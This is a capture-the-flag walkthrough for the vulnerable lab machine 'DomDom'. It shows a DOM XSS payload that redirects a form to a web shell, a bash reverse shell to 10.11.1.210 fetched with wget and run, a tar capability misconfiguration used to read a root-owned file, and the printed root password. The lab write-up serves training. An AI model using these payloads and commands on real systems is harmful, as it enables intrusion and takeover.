Simple guide to gain root on DomDom!

Made by avrahamcohen.ac@gmail.com

Find target IP:

<table>
<thead>
<tr>
<th>IP</th>
<th>At MAC Address</th>
<th>Count</th>
<th>Len</th>
<th>MAC Vendor / Hostname</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.11.1.1</td>
<td>00:50:56:c0:00:00</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
<tr>
<td>10.11.1.2</td>
<td>00:50:56:f7:0b:27</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
<tr>
<td>10.11.1.208</td>
<td>00:0c:29:6b:a4:1b</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
<tr>
<td>10.11.1.254</td>
<td>00:50:56:e9:b2:34</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
</tbody>
</table>

Find open ports:

```
root@kali:/Downloads# nmap -ss 10.11.1.208
```

Starting Nmap 7.60 (https://nmap.org) at 2019-07-11 09:23 EDT
Nmap scan report for 10.11.1.208
Host is up (0.00058s latency).
Not shown: 999 closed ports
PORT   STATE   SERVICE
80/tcp open  http
MAC Address: 00:0c:29:6b:a4:1b (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds

Open web browser:
Hello User, Please fill in the login credentials as well as your name for tracking purposes.

Your name:

Your username:

Your password:

Execute

Logging:

Spider the web application:

<table>
<thead>
<tr>
<th>Host</th>
<th>Method</th>
<th>URL</th>
<th>Params</th>
<th>Status</th>
<th>Length</th>
<th>MIME type</th>
<th>Title</th>
<th>Comment</th>
<th>Time requested</th>
</tr>
</thead>
</table>

Navigate to admin.php:
Welcome to DomDom!

You need to know it's your actions that will show you the light.

Developed by avrahamcohen.ac@gmail.com!

Follow the hint to change the action, probably on the index.php.

Navigate back to index.php and review the source code:
Abusing the XSS on the name field, create a DOM XSS payload to change the action to admin.php page.

Note there is hidden field access=access.

```html
<html>
<head>
  <title>DomDom</title>
</head>
<body>
  <form method="POST" id="user_form" action=index.php>
    <p>Hello User, Please fill in the login credentials as well as your name for tracking purposes.</p>
    <br>
    <input type="text" name='name' id='name' size="80">
    <br>
    <br>
    <input type="text" name='username' id='username' size="80">
    <br>
    <br>
    <input type="password" name='password' id='password' size="80">
    <br>
    <br>
    <input type="hidden" id='access' name='access' value='access'>
    <input type="submit" value='Execute'>
  </form>
  <p>Logging:</p>
</body>
</html>
```

Abusing the XSS on the name field, create a DOM XSS payload to change the action to admin.php page.

**Note there is hidden field access=access.**

```script
    document.getElementById('user_form').action='admin.php';
    document.getElementById('user_form').submit();
</script>```
Hello User, Please fill in the login credentials as well as your name for tracking purposes.

Your name:

Your username:

Your password:

Submit the form and review the response:

Submit this request and review the response:
The response is expecting 'cmd' argument.

Adjust the request:

POST /admin.php HTTP/1.1
Host: 10.11.1.208
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.11.1.208/index.php
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

cmd=ls
Web shell achieved.

Open web server on the attacker machine and create a bash reverse shell payload.

```
root@kali:/var/www/html# cat shell.sh
bash -i >& /dev/tcp/10.11.1.210/5555 0>&1
root@kali:/var/www/html#
```

Use wget to fetch this file, open a listener and execute it.

```
access=access&cmd=wget http://10.11.1.210/shell.sh; chmod 777 shell.sh;
```

```
access=access&cmd=/bin/bash shell.sh
```
Enumerate the system and locate the secret file:

```
www-data@ubuntu:/var/www/html$ ls -la /home/domom/Desktop/README.md
ls -la /home/domom/Desktop/README.md
-rw-r----- 1 root root 69 Jul 11 04:03 /home/domom/Desktop/README.md
```

Abuse the misconfiguration of the tar tool:

```
www-data@ubuntu:/var/www/html$ getcap /bin/tar
getcap /bin/tar
/bin/tar = cap_dac_read_search+ep
www-data@ubuntu:/var/www/html$
```

Tar and extract the file to read its content:

```
www-data@ubuntu:/var/www/html$ tar -cvf readme.tar /home/domom/Desktop/README.md
$ tar -cvf readme.tar /home/domom/Desktop/README.md
tar: Removing leading `/' from member names
/home/domom/Desktop/README.md
www-data@ubuntu:/var/www/html$ tar -xvf readme.tar
tar -xvf readme.tar
/home/domom/Desktop/README.md
```

```
www-data@ubuntu:/var/www/html/home/domom/Desktop$ cat README.md
cat README.md
Hi Dom, This is the root password:
Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+4V.#a
```

One way to get root is to abuse the VI editor:
Then exit VI and type sudo su.

```
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
/sbin/ifconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:6b:a4:1b
inet addr:10.11.1.208 Bcast:10.11.1.255 Mask:255.255.255.0
inet6 addr: fe80::5c5c:3eb6:6d42:f010/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1548 errors:0 dropped:0 overruns:0 frame:0
TX packets:1318 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:104416 (104.4 KB) TX bytes:99321 (99.3 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:213 errors:0 dropped:0 overruns:0 frame:0
TX packets:213 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:15917 (15.9 KB) TX bytes:15917 (15.9 KB)
```